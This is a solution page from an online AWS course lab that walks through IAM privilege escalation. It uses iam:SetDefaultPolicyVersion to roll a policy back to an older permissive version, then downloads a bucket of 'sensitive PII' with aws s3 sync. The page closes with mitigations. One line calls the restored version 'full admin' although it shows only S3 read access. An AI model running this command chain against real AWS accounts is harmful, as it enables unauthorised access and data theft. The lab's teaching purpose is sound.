Back to Course

IAM Privilege Escalation Labs

0% Complete
0/0 Steps
  1. Introduction

    About this course
  2. Real-world case studies
  3. Useful IAM tips and security tools
  4. Introduction to AWS Enumeration
    [LAB] Getting Started with the AWS CLI
  5. [LAB] Introduction to AWS IAM Enumeration
  6. [Cheat Sheet] IAM Enumeration CLI Commands
  7. [LAB] Introduction to Secrets Manager Enumeration
  8. [Cheat Sheet] Secrets Manager Enumeration CLI Commands
  9. [LAB] Introduction to Amazon S3 Enumeration
  10. iam:CreateAccessKey
    [LAB] [CTF] iam:CreateAccessKey PrivEsc
  11. iam:CreateAccessKey Solution
  12. iam:CreateLoginProfile
    [LAB] [CTF] iam:CreateLoginProfile PrivEsc
  13. iam:CreateLoginProfile Solution
  14. iam:UpdateLoginProfile
    [LAB] [CTF] iam:UpdateLoginProfile PrivEsc
  15. iam:UpdateLoginProfile Solution
  16. iam:SetDefaultPolicyVersion
    [LAB] [CTF] iam:SetDefaultPolicyVersion PrivEsc
  17. iam:SetDefaultPolicyVersion Solution
  18. iam:AddUserToGroup
    [LAB] [CTF] iam:AddUserToGroup PrivEsc
  19. iam:AddUserToGroup Solution
  20. iam:AttachUserPolicy
    [LAB] [CTF] iam:AttachUserPolicy PrivEsc
  21. iam:AttachUserPolicy Solution
  22. iam:AttachGroupPolicy
    [LAB] [CTF] iam:AttachGroupPolicy PrivEsc
  23. iam:AttachGroupPolicy Solution
  24. iam:PutUserPolicy
    [LAB] [CTF] iam:PutUserPolicy PrivEsc
  25. iam:PutUserPolicy Solution
  26. iam:PutGroupPolicy
    [LAB] [CTF] iam:PutGroupPolicy PrivEsc
  27. iam:PutGroupPolicy Solution
  28. iam:AttachRolePolicy
    [LAB] [CTF] iam:AttachRolePolicy PrivEsc
  29. iam:AttachRolePolicy Solution
  30. iam:PutRolePolicy
    [LAB] [CTF] iam:PutRolePolicy PrivEsc
  31. iam:PutRolePolicy Solution
  32. Challenges
    About challenges
  33. Challenge #1 - Secrets Unleashed
  34. Challenge #2 - IAM Escape Room
  35. Conclusion
    What's next?
Lesson 17 of 35
In Progress

iam:SetDefaultPolicyVersion Solution

Christophe November 19, 2023

Using the provided Access Key ID and Secret Access Key, configure your AWS CLI profile.

This lab’s username is provided when you launch the lab, and you can use this information to list attached policies:

aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidky1t7bwmv8

Code language: PHP (php)

Result:

{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
            "PolicyArn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8"
        }
    ]
}

Code language: JSON / JSON with Comments (json)

This command tells us what policies are attached to this user, but we need to be able to see what permissions the policy grants us.

This is actually somewhat of a tricky thing to do with the AWS CLI. You would think that there would be a basic command that would do that, but not really. Instead, you have a couple of options.

One option is to use iam get-policy where you pass in a --policy-arn value (which we just got from the prior result):

aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --profile raynor

Code language: JavaScript (javascript)

Which gives us:

{
    "Policy": {
        "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
        "PolicyId": "ANPAT6ZKEI3E3IG5CLWC3",
        "Arn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-raynor-policy",
        "CreateDate": "2023-08-31T16:31:16Z",
        "UpdateDate": "2023-08-31T16:31:17Z",
        "Tags": []
    }
}

Code language: JSON / JSON with Comments (json)

We get back a useful piece of information with the DefaultVersionId because it tells us that our current default policy version id is v1.

We can use this command to retrieve the policy for version 1 (which is the current DefaultVersionId:

aws iam get-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v1

Code language: JavaScript (javascript)

The result:

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "IAMPrivilegeEscalationByRollback"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-31T16:31:16Z"
    }
}

Code language: JSON / JSON with Comments (json)

We can see that we have limited access. Now let’s check to see if we have more versions available than just v1 by listing policy versions:

aws iam list-policy-versions --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8

Code language: PHP (php)

And it will return multiple policy versions:

{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2023-08-31T16:31:17Z"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2023-08-31T16:31:17Z"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2023-08-31T16:31:17Z"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2023-08-31T16:31:17Z"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2023-08-31T16:31:16Z"
        }
    ]
}

Code language: JSON / JSON with Comments (json)

Knowing this, we can now try to list the IAM policies for those version to see if they have higher privileges, starting with v2:

aws iam get-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v2

Code language: JavaScript (javascript)

Right away, we can see that this policy version has full admin privileges:

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                Effect: 'Allow',
                Action: [
                  "s3:List*",
                  "s3:Get*"
                ],
                Resource: '*'
              }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2023-08-31T16:31:17Z"
    }
}

Code language: JavaScript (javascript)

If you don’t see the same policy in version 2, check all of the other policy versions until you find the right one.

If we look back at the policy we have currently applied to our user, we see that we have access to iam:SetDefaultPolicyVersion, so instead, we can try to change our default policy version to this other version that gives us access to S3 (for me it’s version 2):

We can use the command:

aws iam set-default-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v2

Code language: JavaScript (javascript)

If we re-run this prior command:

aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8

Code language: JavaScript (javascript)

We’ll see that we successfully changed our policy version from v1 to v2 (or whatever you set yours to):

{
    "Policy": {
        "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
        "PolicyId": "ANPAT6ZKEI3E3IG5CLWC3",
        "Arn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
        "Path": "/",
        "DefaultVersionId": "v2",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-raynor-policy",
        "CreateDate": "2023-08-31T16:31:16Z",
        "UpdateDate": "2023-08-31T17:23:36Z",
        "Tags": []
    }
}

Code language: JSON / JSON with Comments (json)

You now have access to Amazon S3, including the sensitive PII data that you can download:

aws s3 ls

You can see that you have access to an S3 bucket with sensitive objects:

aws s3 ls s3://cybr-sensitive-data-bucket-<ID> --profile victim
Code language: HTML, XML (xml)

You can download all of the bucket’s contents:

aws s3 sync s3://cybr-sensitive-data-bucket-<ID> ~/Downloads
Code language: HTML, XML (xml)

You will now have those sensitive files downloaded to your local computer.

Conclusion

So this scenario is a great example of how someone can elevate their privileges simply by having a misconfigured but seemingly harmless AWS IAM policy assigned to them.

This could commonly happen when a cloud admin goes in and initially sets up the account, and to make it easier they start off with high level privileges and then they go back in and reduce permissions. When versioning like this is enabled, AWS will keep track of that prior version. If the IAM user has permissions to set a different policy version, they can exploit this to their advantage as we just saw.

This attack can be be prevented and restricted by:

  1. Deleting other versions of policies
  2. Restricting access to actions like SetDefaultPolicyVersion and CreatePolicyVersion

More information about policy versions here: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-versioning.html

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.